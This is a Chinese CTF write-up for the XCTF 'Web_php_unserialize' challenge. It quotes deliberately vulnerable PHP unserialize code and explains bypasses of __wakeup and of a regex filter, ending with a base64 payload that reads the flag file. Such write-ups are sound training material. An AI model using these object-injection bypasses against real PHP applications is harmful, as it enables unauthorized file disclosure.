CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize

发布时间 2023-08-07 21:28:35作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  本题考察的是反序列化,反序列化的题都需要审计php代码,步骤也比较固定。

<?php 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

  从下面看起,首先需要用GET方式传入参数var,然后对其进行base64解密,然后进行正则表达式匹配,其匹配规则是出现[o]+数字,或者[c]+数字就会被过滤,最后反序列化。

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

  构造参数主要看题目所给的类,首先题目给出,flag藏在fl4g.php里面,我们需要控制Demo类的成员变量$file,使其等于fl4g.php:$a=new Demo('fl4g.php');

  PS:这里实例化对象的时候,由于是有参构造,需要在实例化的时候对成员变量进行赋值。

  那么如果没有过滤,接下来就是序列化传参了,这里涉及到三个过滤:

第一个__wakeup()函数的过滤:wakeup()函数:发生在反序列化时,如果存在该函数,自动调用该函数。其漏洞是,如果序列化后的字符串中,表示属性个数的数字与真实属性个数一致,那么就会调用,否则不调用。首先看下,序列化后的属性个数:"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";},其中表示属性的数字就是 "Demo":1,的这个1,意思是有一个成员变量。

绕过方式:$a=str_replace(':1:',':2:',$a),即将属性个数改成2个。

第二个正则表达式过滤:绕过o:数字:$a=str_replace('O:4','O:+4',$a)

第三个Base64加密:$a=base64_encode($a)

  payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

三、总结

  本题考察的是反序列的知识点,需要知道对象被序列化后的形式,然后需要知道__wakeup()函数的调用时机及其绕过方式,对于序列化的正则表达式的绕过方式可以积累下来。